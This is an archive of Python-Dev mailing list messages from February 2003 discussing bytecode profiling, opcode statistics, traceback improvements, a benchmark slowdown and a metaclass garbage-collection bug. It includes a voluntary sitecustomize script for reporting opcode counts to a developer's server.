From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Wed, 26 Feb 2003 14:39:23 -0800 (PST)
Subject: [Python-Dev] New regex syntax? (was: Some questions about
 maintenance of the regular expression code.)
In-Reply-To: <200302262104.h1QL44j22127@odiug.zope.com>
References: <200302260022.15512.gherron@islandtraining.com>
 <200302261034.11172.gherron@islandtraining.com> <15965.2554.9046.712509@grendel.zope.com>
 <200302261107.42594.gherron@islandtraining.com>
 <Pine.SOL.4.53.0302261231020.6699@death.OCF.Berkeley.EDU>
 <200302262104.h1QL44j22127@odiug.zope.com>
Message-ID: <Pine.SOL.4.53.0302261438360.21072@death.OCF.Berkeley.EDU>

[Guido van Rossum]

> > Is there enough interest to actually put the time and effort into
> > attempting to develop new regex syntax?
>
> I suggest dropping this subject before it takes over all available
> bandwidth in python-dev. :-)
>

=)  Agreed.  If anyone wants to continue discussing this, just email me
personally and we can take this off-list and gauge the interest level.

-Brett


From gherron@islandtraining.com  Wed Feb 26 22:57:50 2003
From: gherron@islandtraining.com (Gary Herron)
Date: Wed, 26 Feb 2003 14:57:50 -0800
Subject: [Python-Dev] Some questions about maintenance of the regular expression code.
In-Reply-To: <200302260022.15512.gherron@islandtraining.com>
References: <200302260022.15512.gherron@islandtraining.com>
Message-ID: <200302261457.50937.gherron@islandtraining.com>

Greg Chapman may have provided an effective end to this thread. He
sent me (apparently via private email since I haven't seen it on this
list yet) a patch which removes the recursion in simple uses of .*?.
The code is patterened after the way simple uses of .* are currently
handled without recursion.

Still complex uses of either minimizing or maximizing repeats will
recurse.  For example (a|b)*c and (a|b)*?c will both recurse as they
chew through a string of a's and b's.  I don't consider this a bug.

I'll test his patch tonight.

Thank you Greg,
Gary Herron



From greg@cosc.canterbury.ac.nz  Wed Feb 26 23:22:06 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Thu, 27 Feb 2003 12:22:06 +1300 (NZDT)
Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea
In-Reply-To: <200302261501.h1QF1kN19036@odiug.zope.com>
Message-ID: <200302262322.h1QNM6200468@oma.cosc.canterbury.ac.nz>

> there's currently lots of code out there
> that was recently modified to read
> 
>   try:
>     True
>   except NameError:
>     True = 1
>     False = 0

Maybe assignment to them could be allowed provided the
value being assigned is == to their official value?

(The actual assignment needn't be done, just suppression
of any exception.)

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From greg@cosc.canterbury.ac.nz  Wed Feb 26 23:33:33 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Thu, 27 Feb 2003 12:33:33 +1300 (NZDT)
Subject: [Python-Dev] Re: module extension search order - can it be changed?
In-Reply-To: <7F171EB5E155544CAC4035F0182093F04211DD@INGDEXCHSANC1.ingdirect.com>
Message-ID: <200302262333.h1QNXXa00519@oma.cosc.canterbury.ac.nz>

Chermside, Michael:

> Guido:
> > I thought for sure Greg had left off the smiley.
> 
> Oh. Yes. Of course.

Actually, I was at least partially serious. It seems more important to
me for the traceback to indicate what operation was being attempted,
rather than showing the literal source code; and the bytecode,
together with other information available from the stack frames, ought
to provide enough information to do this.

I hadn't considered optimised bytecode -- I can see that could mess
things up.

In any case, I think there's room for providing more information in
the traceback than there is now, even without decompiling
anything. For example, I'd like to see some indication of the values
(or at least the types) being passed to each function call. In many
cases, that would save me a trip around the insert_print_statements-
run-fix_the_bug-take_the_print_ statements_out_again loop.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From greg@cosc.canterbury.ac.nz  Wed Feb 26 23:37:08 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Thu, 27 Feb 2003 12:37:08 +1300 (NZDT)
Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea
In-Reply-To: <3E5CEAD8.3010701@tismer.com>
Message-ID: <200302262337.h1QNb8j00550@oma.cosc.canterbury.ac.nz>

Christian Tismer:

> >>   if expression != 1 :
> >>      raise Exception, "Attempt to assign invalid value to True"
> 
> hehe. raise Exception, "Attempt to re-define truth :-)"

To be known as NineteenEightyFourError.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From newsgroups1@bitfurnace.com  Thu Feb 27 00:55:22 2003
From: newsgroups1@bitfurnace.com (Damien Morton)
Date: Wed, 26 Feb 2003 19:55:22 -0500
Subject: [Python-Dev] Dynamic bytecode analysis
Message-ID: <b3jo0j$60a$1@main.gmane.org>

So I enhanced the PVM dynamic execution profiler to keep track of quads of
instructions rather than just pairs. Running it on PyStone, I get the
following results:

Note: score is frequency * len(trace)

http://www.bitfurnace.com/python/dxstats-traces.txt
score    trace
 7204142 LOAD_FAST
 3701796 LOAD_FAST, LOAD_FAST
 3453243 COMPARE_OP, JUMP_IF_FALSE, POP_TOP
 2701110 LOAD_GLOBAL
 2603086 JUMP_IF_FALSE, POP_TOP
 2402196 COMPARE_OP, JUMP_IF_FALSE
 2302782 LOAD_CONST
 2251111 STORE_FAST
 2200676 LOAD_GLOBAL, COMPARE_OP, JUMP_IF_FALSE, POP_TOP
 2101580 LOAD_FAST, LOAD_CONST
 2100896 STORE_FAST, LOAD_FAST
 2000188 COMPARE_OP, JUMP_IF_FALSE, POP_TOP, LOAD_GLOBAL
 1800639 LOAD_FAST, LOAD_CONST, BINARY_ADD
 1650507 LOAD_GLOBAL, COMPARE_OP, JUMP_IF_FALSE
 1650177 JUMP_IF_FALSE, POP_TOP, LOAD_GLOBAL
 1600986 LOAD_GLOBAL, LOAD_FAST
 1600492 LOAD_FAST, LOAD_GLOBAL, COMPARE_OP, JUMP_IF_FALSE
 1500536 LOAD_CONST, BINARY_ADD
 1500339 STORE_FAST, LOAD_FAST, LOAD_FAST
 1500282 LOAD_FAST, STORE_ATTR
 1452043 POP_TOP
 1400524 LOAD_FAST, LOAD_CONST, BINARY_ADD, STORE_FAST
 1400056 LOAD_FAST, LOAD_FAST, BINARY_SUBSCR, LOAD_FAST
 1351596 JUMP_IF_FALSE
 1300164 POP_TOP, LOAD_GLOBAL
 1251127 COMPARE_OP
 1203536 COMPARE_OP, JUMP_IF_FALSE, POP_TOP, LOAD_FAST
...

certainly, making JUMPs consume the top-of-stack still seems worthwhile

other possibilities
LOAD_FAST+FAST == LOAD_FAST, LOAD_FAST
JUMP_IF_CMP == COMPARE_OP, JUMP_IF_FALSE -- consumes two items off the stack
LOAD_FAST+CONST == LOAD_FAST, LOAD_CONST
ADD_CONST == LOAD_CONST, BINARY_ADD
FAST_SUBSCR == LOAD_FAST, LOAD_FAST, BINARY_SUBSCR

If anyone has any suggestions of a better app than PyStone to profile, I
would be grateful.








From guido@python.org  Thu Feb 27 01:43:52 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 26 Feb 2003 20:43:52 -0500
Subject: [Python-Dev] Re: module extension search order - can it be changed?
In-Reply-To: Your message of "Thu, 27 Feb 2003 12:33:33 +1300."
 <200302262333.h1QNXXa00519@oma.cosc.canterbury.ac.nz>
References: <200302262333.h1QNXXa00519@oma.cosc.canterbury.ac.nz>
Message-ID: <200302270143.h1R1hqF23356@odiug.zope.com>

> In any case, I think there's room for providing more information in
> the traceback than there is now, even without decompiling
> anything. For example, I'd like to see some indication of the values
> (or at least the types) being passed to each function call. In many
> cases, that would save me a trip around the insert_print_statements-
> run-fix_the_bug-take_the_print_ statements_out_again loop.

Check out cgitb.py.  It does a lot of that (albeit in HTML).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Thu Feb 27 02:10:25 2003
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 26 Feb 2003 20:10:25 -0600
Subject: [Python-Dev] Re: module extension search order - can it be
 changed?
In-Reply-To: <200302270143.h1R1hqF23356@odiug.zope.com>
References: <200302262333.h1QNXXa00519@oma.cosc.canterbury.ac.nz>
 <200302270143.h1R1hqF23356@odiug.zope.com>
Message-ID: <15965.29586.1188.380076@montanaro.dyndns.org>

    Guido> Check out cgitb.py.  It does a lot of that (albeit in HTML).

I have a version of cgitb which includes the ability to display plain text.
See <http://python.org/sf/569574>.  Last time I brought the topic up the
suggestion was that much of this functionality belongs in traceback.py.  I'm
not sure I'm up to such major module surgery.  It would probably be more
productive for Ping to tackle that.

Skip



From mal@lemburg.com  Thu Feb 27 08:41:11 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Thu, 27 Feb 2003 09:41:11 +0100
Subject: [Python-Dev] Dynamic bytecode analysis
In-Reply-To: <b3jo0j$60a$1@main.gmane.org>
References: <b3jo0j$60a$1@main.gmane.org>
Message-ID: <3E5DCF27.7070407@lemburg.com>

Damien Morton wrote:
> So I enhanced the PVM dynamic execution profiler to keep track of quads of
> instructions rather than just pairs. Running it on PyStone, I get the
> following results:

pystone is *not* your typical Python application. If you want
some interesting data, I'd suggest to use applications like
Zope, PySol, Mailman, etc. as basis.

The easiest way to do this is by instrumenting the Python
interpreter used by all these applications and have it write
its data to a pickle every now and then. Here's an example
from the Python 1.5 days:

Opcode frequencies:
------------------------------------------------------------------------
           SET_LINENO(127) :      12036 ================================
            LOAD_FAST(124) :      10366 ===========================
            LOAD_ATTR(105) :       4565 ============
           LOAD_CONST(100) :       4549 ============
              POP_TOP(  1) :       3756 =========
           STORE_FAST(125) :       3580 =========
        CALL_FUNCTION(131) :       2558 ======
        JUMP_IF_FALSE(111) :       2142 =====
          LOAD_GLOBAL(116) :       2056 =====
           COMPARE_OP(106) :       2001 =====
         RETURN_VALUE( 83) :       1593 ====
             FOR_LOOP(114) :       1363 ===
           BINARY_ADD( 23) :       1133 ===
           STORE_NAME( 90) :       1062 ==
        JUMP_ABSOLUTE(113) :        835 ==
        MAKE_FUNCTION(132) :        753 ==
           SETUP_LOOP(120) :        568 =
            POP_BLOCK( 87) :        536 =
         JUMP_FORWARD(110) :        503 =
                   32( 32) :        442 =
         JUMP_IF_TRUE(112) :        438 =
            LOAD_NAME(101) :        425 =
              DUP_TOP(  4) :        421 =
       UNARY_NEGATIVE( 11) :        411 =
         SETUP_EXCEPT(121) :        410 =
                   31( 31) :        409 =

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 27 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     33 days left
EuroPython 2003, Charleroi, Belgium:                       117 days left



From mal@lemburg.com  Thu Feb 27 08:52:21 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Thu, 27 Feb 2003 09:52:21 +0100
Subject: [Python-Dev] Slowdown in Python CVS
Message-ID: <3E5DD1C5.2070800@lemburg.com>

My nightly run of pybench went up from the usual 7590ms per
run to around 8200ms between Monday night and today. Can anyone
explain this ?

Thanks,
-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 27 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     33 days left
EuroPython 2003, Charleroi, Belgium:                       117 days left



From dmorton@bitfurnace.com  Thu Feb 27 09:16:24 2003
From: dmorton@bitfurnace.com (damien morton)
Date: Thu, 27 Feb 2003 04:16:24 -0500
Subject: [Python-Dev] Dynamic bytecode analysis
In-Reply-To: <3E5DCF27.7070407@lemburg.com>
Message-ID: <000001c2de40$e780b400$6401a8c0@damien>

Im not sure how I could properly excersise Zope, and Mailman doesn't run
under windows. PySol is do-able. Any other suggestions as to apps worthy
of profiling?

Would the python standard library unit tests qualify?


> -----Original Message-----
> From: M.-A. Lemburg [mailto:mal@lemburg.com] 
> Sent: Thursday, 27 February 2003 03:41
> To: Damien Morton
> Cc: python-dev@python.org
> Subject: Re: [Python-Dev] Dynamic bytecode analysis
> 
> 
> Damien Morton wrote:
> > So I enhanced the PVM dynamic execution profiler to keep track of 
> > quads of instructions rather than just pairs. Running it on 
> PyStone, I 
> > get the following results:
> 
> pystone is *not* your typical Python application. If you want 
> some interesting data, I'd suggest to use applications like 
> Zope, PySol, Mailman, etc. as basis.
> 
> The easiest way to do this is by instrumenting the Python 
> interpreter used by all these applications and have it write 
> its data to a pickle every now and then. Here's an example 
> from the Python 1.5 days:
> 
> Opcode frequencies:
> --------------------------------------------------------------
> ----------
>            SET_LINENO(127) :      12036 
> ================================
>             LOAD_FAST(124) :      10366 ===========================
>             LOAD_ATTR(105) :       4565 ============
>            LOAD_CONST(100) :       4549 ============
>               POP_TOP(  1) :       3756 =========
>            STORE_FAST(125) :       3580 =========
>         CALL_FUNCTION(131) :       2558 ======
>         JUMP_IF_FALSE(111) :       2142 =====
>           LOAD_GLOBAL(116) :       2056 =====
>            COMPARE_OP(106) :       2001 =====
>          RETURN_VALUE( 83) :       1593 ====
>              FOR_LOOP(114) :       1363 ===
>            BINARY_ADD( 23) :       1133 ===
>            STORE_NAME( 90) :       1062 ==
>         JUMP_ABSOLUTE(113) :        835 ==
>         MAKE_FUNCTION(132) :        753 ==
>            SETUP_LOOP(120) :        568 =
>             POP_BLOCK( 87) :        536 =
>          JUMP_FORWARD(110) :        503 =
>                    32( 32) :        442 =
>          JUMP_IF_TRUE(112) :        438 =
>             LOAD_NAME(101) :        425 =
>               DUP_TOP(  4) :        421 =
>        UNARY_NEGATIVE( 11) :        411 =
>          SETUP_EXCEPT(121) :        410 =
>                    31( 31) :        409 =
> 
> -- 
> Marc-Andre Lemburg
> eGenix.com
> 
> Professional Python Software directly from the Source  (#1, 
> Feb 27 2003)
>  >>> Python/Zope Products & Consulting ...         
> http://www.egenix.com/
>  >>> mxODBC, mxDateTime, mxTextTools 
> ...        http://python.egenix.com/
> ______________________________________________________________
> __________
> Python UK 2003, Oxford:                                     
> 33 days left
> EuroPython 2003, Charleroi, Belgium:                       
> 117 days left
> 
> 



From mal@lemburg.com  Thu Feb 27 09:44:49 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Thu, 27 Feb 2003 10:44:49 +0100
Subject: [Python-Dev] Dynamic bytecode analysis
In-Reply-To: <000001c2de40$e780b400$6401a8c0@damien>
References: <000001c2de40$e780b400$6401a8c0@damien>
Message-ID: <3E5DDE11.8050107@lemburg.com>

damien morton wrote:
> Im not sure how I could properly excersise Zope, and Mailman doesn't run
> under windows. PySol is do-able. Any other suggestions as to apps worthy
> of profiling?

Anything with more than 10kloc Python code should do, I guess.

> Would the python standard library unit tests qualify?

Nope :-)

>>-----Original Message-----
>>From: M.-A. Lemburg [mailto:mal@lemburg.com] 
>>Sent: Thursday, 27 February 2003 03:41
>>To: Damien Morton
>>Cc: python-dev@python.org
>>Subject: Re: [Python-Dev] Dynamic bytecode analysis
>>
>>
>>Damien Morton wrote:
>>
>>>So I enhanced the PVM dynamic execution profiler to keep track of 
>>>quads of instructions rather than just pairs. Running it on 
>>
>>PyStone, I 
>>
>>>get the following results:
>>
>>pystone is *not* your typical Python application. If you want 
>>some interesting data, I'd suggest to use applications like 
>>Zope, PySol, Mailman, etc. as basis.
>>
>>The easiest way to do this is by instrumenting the Python 
>>interpreter used by all these applications and have it write 
>>its data to a pickle every now and then. Here's an example 
>>from the Python 1.5 days:
>>
>>Opcode frequencies:
>>--------------------------------------------------------------
>>----------
>>           SET_LINENO(127) :      12036 
>>================================
>>            LOAD_FAST(124) :      10366 ===========================
>>            LOAD_ATTR(105) :       4565 ============
>>           LOAD_CONST(100) :       4549 ============
>>              POP_TOP(  1) :       3756 =========
>>           STORE_FAST(125) :       3580 =========
>>        CALL_FUNCTION(131) :       2558 ======
>>        JUMP_IF_FALSE(111) :       2142 =====
>>          LOAD_GLOBAL(116) :       2056 =====
>>           COMPARE_OP(106) :       2001 =====
>>         RETURN_VALUE( 83) :       1593 ====
>>             FOR_LOOP(114) :       1363 ===
>>           BINARY_ADD( 23) :       1133 ===
>>           STORE_NAME( 90) :       1062 ==
>>        JUMP_ABSOLUTE(113) :        835 ==
>>        MAKE_FUNCTION(132) :        753 ==
>>           SETUP_LOOP(120) :        568 =
>>            POP_BLOCK( 87) :        536 =
>>         JUMP_FORWARD(110) :        503 =
>>                   32( 32) :        442 =
>>         JUMP_IF_TRUE(112) :        438 =
>>            LOAD_NAME(101) :        425 =
>>              DUP_TOP(  4) :        421 =
>>       UNARY_NEGATIVE( 11) :        411 =
>>         SETUP_EXCEPT(121) :        410 =
>>                   31( 31) :        409 =
>>
>>-- 
>>Marc-Andre Lemburg
>>eGenix.com
>>
>>Professional Python Software directly from the Source  (#1, 
>>Feb 27 2003)
>> >>> Python/Zope Products & Consulting ...         
>>http://www.egenix.com/
>> >>> mxODBC, mxDateTime, mxTextTools 
>>...        http://python.egenix.com/
>>______________________________________________________________
>>__________
>>Python UK 2003, Oxford:                                     
>>33 days left
>>EuroPython 2003, Charleroi, Belgium:                       
>>117 days left
>>
>>
> 
> 
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 27 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     33 days left
EuroPython 2003, Charleroi, Belgium:                       117 days left



From mwh@python.net  Thu Feb 27 12:12:38 2003
From: mwh@python.net (Michael Hudson)
Date: Thu, 27 Feb 2003 12:12:38 +0000
Subject: [Python-Dev] module extension search order - can it be changed?
In-Reply-To: <200302252042.h1PKgjZ08619@odiug.zope.com> (Guido van Rossum's
 message of "Tue, 25 Feb 2003 15:42:45 -0500")
References: <5AC6040C-48FE-11D7-9C8C-000393877AE4@codefab.com>
 <200302252042.h1PKgjZ08619@odiug.zope.com>
Message-ID: <2misv57wi1.fsf@starship.python.net>

Guido van Rossum <guido@python.org> writes:

>> Speaking entirely from a point of ignorance, why are the source line #s 
>> not shown for frames that are implemented in modules loaded from 
>> zipimport?
>
> Because the code printing the tracebacks doesn't know how to look
> inside a zip file.

It Would Be Nice (tm) if the code that printed tracebacks could be
made cleverer in some fashion.  For instance, in a pyrepl session I
have the source in the session's history and it would surely be nice
if I could display it in tracebacks.

Of course, I have no idea how to go about implementing this :-)

Cheers,
M.

-- 
  I never realized it before, but having looked that over I'm certain
  I'd rather have my eyes burned out by zombies with flaming dung
  sticks than work on a conscientious Unicode regex engine.
                                             -- Tim Peters, 3 Dec 1998


From guido@python.org  Thu Feb 27 12:15:24 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 27 Feb 2003 07:15:24 -0500
Subject: [Python-Dev] Dynamic bytecode analysis
In-Reply-To: "Your message of Thu, 27 Feb 2003 04:16:24 EST."
 <000001c2de40$e780b400$6401a8c0@damien>
References: <000001c2de40$e780b400$6401a8c0@damien>
Message-ID: <200302271215.h1RCFOw02101@pcp02138704pcs.reston01.va.comcast.net>

> Would the python standard library unit tests qualify?

Definitely not.  It has highly atypical behavior.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mhammond@skippinet.com.au  Thu Feb 27 12:19:26 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Thu, 27 Feb 2003 23:19:26 +1100
Subject: [Python-Dev] module extension search order - can it be changed?
In-Reply-To: <2misv57wi1.fsf@starship.python.net>
Message-ID: <LCEPIIGDJPKCOIHOBJEPMEPPOCAA.mhammond@skippinet.com.au>

[Michael]
> It Would Be Nice (tm) if the code that printed tracebacks could be
> made cleverer in some fashion.

I guess this could be a 2-stage thing:
* Delegate the dumping of tracebacks in C code back to the traceback module.
I guess that the existing code would need to remain if an error is raised
printing it, but in general, traceback does a fine job.

* Give linecache some additional smarts.  Once we are back in Python land,
the possibilities become vast.

Mark.



From guido@python.org  Thu Feb 27 12:25:44 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 27 Feb 2003 07:25:44 -0500
Subject: [Python-Dev] Slowdown in Python CVS
In-Reply-To: "Your message of Thu, 27 Feb 2003 09:52:21 +0100."
 <3E5DD1C5.2070800@lemburg.com>
References: <3E5DD1C5.2070800@lemburg.com>
Message-ID: <200302271225.h1RCPiS02208@pcp02138704pcs.reston01.va.comcast.net>

> My nightly run of pybench went up from the usual 7590ms per
> run to around 8200ms between Monday night and today. Can anyone
> explain this ?

Did you compare the outputs?  There could be importants hint there!
:-)

Maybe this checkin to ceval.c backfired?

----------------------------
revision 2.351
date: 2003/02/26 18:11:50;  author: rhettinger;  state: Exp;  lines: +18 -4
Micro-optimizations.
* List/Tuple checkexact is faster for the common case.
* Testing for Py_True and Py_False can be inlined for faster looping.
----------------------------

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mal@lemburg.com  Thu Feb 27 12:54:08 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Thu, 27 Feb 2003 13:54:08 +0100
Subject: [Python-Dev] Slowdown in Python CVS
In-Reply-To: <200302271225.h1RCPiS02208@pcp02138704pcs.reston01.va.comcast.net>
References: <3E5DD1C5.2070800@lemburg.com> <200302271225.h1RCPiS02208@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <3E5E0A70.6020803@lemburg.com>

Guido van Rossum wrote:
>>My nightly run of pybench went up from the usual 7590ms per
>>run to around 8200ms between Monday night and today. Can anyone
>>explain this ?
> 
> Did you compare the outputs?  There could be importants hint there!
> :-)

Unfortunately, the cronjob always uses the same file to store
the benchmark data (I've changed that now, to be able to check
on a day-per-day basis).

Is there a way to check out a Python CVS version dated 2003-02-24 ?
I could then give that a try again.

> Maybe this checkin to ceval.c backfired?
> 
> ----------------------------
> revision 2.351
> date: 2003/02/26 18:11:50;  author: rhettinger;  state: Exp;  lines: +18 -4
> Micro-optimizations.
> * List/Tuple checkexact is faster for the common case.
> * Testing for Py_True and Py_False can be inlined for faster looping.
> ----------------------------

Could be. I don't think inlining in ceval will help. The switch is
too long already and it's much better to let the compiler/processor
decide which parts should really get inlined since they have
more knowledge about the platform than we do (sometimes :-).

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 27 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     33 days left
EuroPython 2003, Charleroi, Belgium:                       117 days left



From pedronis@bluewin.ch  Thu Feb 27 12:48:43 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Thu, 27 Feb 2003 13:48:43 +0100
Subject: [Python-Dev] bug? classes whose metclass has __del__ are not collectible
Message-ID: <024201c2de5e$8f7e33e0$6d94fea9@newmexico>

new-style classes keep track of their subclasses through weak-refs so they
remain in general collectible.

consider this code:  (inspired by this post comp.lang.python post
id: <b3khka$2g6$1@news.wplus.spb.ru>
)

<test.py>
import sys

class MyMetaclass(type):

    def __init__(cls, name, bases, dict):
        super(MyMetaclass, cls).__init__(name, bases, dict)
        print 'initialized', cls.__name__

    if 'meta__del__' in sys.argv:
 print "*meta__del__*"
        def __del__(cls):
            print 'deleted', cls.__name__

class MyClass(object):
    if 'meta' in sys.argv:
 print "*meta*"
     __metaclass__ = MyMetaclass
    pass

class Sub(MyClass):
    pass

del Sub

import gc

gc.collect() # force involved weak-refs to be cleared

print "MyClass subclasses",MyClass.__subclasses__()
print "garbage",gc.garbage

</test.py>

Now:

C:\exp\py-subclasses-gc>\transit\Py23\python test.py
MyClass subclasses []
garbage []

C:\exp\py-subclasses-gc>\transit\Py23\python test.py meta
*meta*
initialized MyClass
initialized Sub
MyClass subclasses []
garbage []

also Sub with both metaclass type or MyMetaclass without __del__ is collectible
and collected but:

C:\exp\py-subclasses-gc>\transit\Py23\python test.py meta meta__del__
*meta__del__*
*meta*
initialized MyClass
initialized Sub
MyClass subclasses [<class '__main__.Sub'>]
garbage [<class '__main__.Sub'>]

if MyMetaclass grows a __del__ method Sub is no longer collectible ...



From jepler@unpythonic.net  Thu Feb 27 13:48:10 2003
From: jepler@unpythonic.net (Jeff Epler)
Date: Thu, 27 Feb 2003 07:48:10 -0600
Subject: [Python-Dev] Re: Code Generation Idea Was: Bytecode idea
In-Reply-To: <20030226185645.GC24106@logilab.fr>
References: <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <15964.55750.86825.114047@montanaro.dyndns.org> <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> <15964.59840.342254.176499@montanaro.dyndns.org> <b3ivcs$jn1$1@main.gmane.org> <20030226185645.GC24106@logilab.fr>
Message-ID: <20030227134810.GB21507@unpythonic.net>

For my native-code translation system (which died an early death),
I intended to introduce a new attribute which would indicate what
(module) attributes could be considered constant.  I think that for
whatever reason I decided to call this __solid__.  So for instance, you
might write

    import math
    assert 'pi' in math.__solid__
    __solid__ = ['sys', 'math', 'MYCONST', 'MyClass', 'myfun']
    
    MYCONST = 22./7

    class MyClass:
        __solid__ = ['mymethod']
        def mymethod(self): return MYCONST - math.pi
        mymethod = staticmethod(jit(mymethod))

    def myfun():
        print MyClass.mymethod()
    myfun = jit(myfun)

    myfun()

This allows a whole range of optimizations.  LOAD_GLOBAL optimizes to
LOAD_CONST.  LOAD_CONST + LOAD_ATTR optimizes to LOAD_CONST.  Then more
constant folding becomes possible.

In MyFun, the sequence
    LOAD_GLOBAL MyClass
    LOAD_ATTR mymethod
    CALL_FUNCTION
can be reduced to 
    LOAD_CONST MyClass.mymethod
    CALL_FUNCTION
which could even allow MyClass.mymethod to be inlined

In MyClass.mymethod, the arithmetic reduces from LOAD_GLOBAL,
LOAD_GLOBAL, LOAD_ATTR, BINARY_SUBTRACT to LOAD_CONST, LOAD_CONST,
BINARY_SUBTRACT with compiletime-known types which can be turned
into a single constant load.

In the most extreme case, the code (myfun + mymethod) could reduce to
the sequence LOAD_CONST, PRINT_ITEM, PRINT_NEWLINE, RETURN_NONE
avoiding all namespace lookups and function calls.

Jeff


From skip@pobox.com  Thu Feb 27 14:01:43 2003
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 27 Feb 2003 08:01:43 -0600
Subject: [Python-Dev] Dynamic bytecode analysis
In-Reply-To: <3E5DCF27.7070407@lemburg.com>
References: <b3jo0j$60a$1@main.gmane.org>
 <3E5DCF27.7070407@lemburg.com>
Message-ID: <15966.6727.658752.535219@montanaro.dyndns.org>

    mal> pystone is *not* your typical Python application. If you want some
    mal> interesting data, I'd suggest to use applications like Zope, PySol,
    mal> Mailman, etc. as basis.

Let me mention once again that I have an XML-RPC server available to which
applications can connect and upload their dynamic opcode frequencies.  This
can be done more-or-less transparently using the atexit module.  Others can
then fetch aggregate information for use like Damien's.  It's running at

    dxp = xmlrpclib.ServerProxy("http://manatee.mojam.com:7304")

To get a usage message, execute

    print dxp.usage()

I've run it for the past couple months, since my last announcement here and
in c.l.py but have yet to pick up any data.  I'm going to take a dose of my
own medicine and start running Python on my development machine with
DYNAMIC_EXCUTION_PROFILE and DXPAIRS defined and modify my interactive setup
and a couple applications I run frequently to dump their instruction counts.

Skip


From skip@pobox.com  Thu Feb 27 14:32:59 2003
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 27 Feb 2003 08:32:59 -0600
Subject: [Python-Dev] Dynamic bytecode analysis
In-Reply-To: <000001c2de40$e780b400$6401a8c0@damien>
References: <3E5DCF27.7070407@lemburg.com>
 <000001c2de40$e780b400$6401a8c0@damien>
Message-ID: <15966.8603.219808.245729@montanaro.dyndns.org>

    damien> Im not sure how I could properly excersise Zope, and Mailman
    damien> doesn't run under windows. PySol is do-able. Any other
    damien> suggestions as to apps worthy of profiling?

Zope can be exercised by simply creating a shell script which retrieves a
given set of URLs from the server.  Obviously, what you fetch will depend on
what applications have been built using the server.

Using sitecustomize, all apps can be instrumented without modification to
dump their instruction counts at program termination.  Here's my new
sitecustomize.py, which dumps to my dxp server on manatee.mojam.com (please
change EMAIL to suit if you decide to use this):

    import atexit
    import sys, os, xmlrpclib

    EMAIL = 'skip@pobox.com'

    if not hasattr(sys, 'getdxp'):
        print >> sys.stderr, "instruction count tracking not available"
    else:
        def rle(l):
            newl = []
            lastel = None
            count = 0
            for elt in l:
                if elt == lastel:
                    count = count + 1
                    continue
                elif lastel is not None:
                    if isinstance(lastel, list):
                        lastel = rle(lastel)
                    newl.append([lastel, count])
                lastel = elt
                count = 1
            if isinstance(lastel, list):
                lastel = rle(lastel)
            newl.append([lastel, count])
            return newl

        def rld(l):
            newl = []
            for elt, count in l:
                if isinstance(elt, list):
                    elt = rld(elt)
                newl.extend([elt]*count)
            return newl

        def send_instruction_counts(email):
            print >> sys.stderr, "sending instruction counts to manatee"
            appname = os.path.basename(sys.argv[0]) or "interactive"
            dxpserver = xmlrpclib.Server('http://manatee.mojam.com:7304')
            dxpserver.add_dx_info(appname, email, sys.version_info[:3],
                                  rle(sys.getdxp()))

        atexit.register(send_instruction_counts, EMAIL)

You can grab data from the server like so:

    from sitecustomize import rld
    x = dxpserver.get_dxp_info([2,3,0])
    counts = rld(x['counts'])
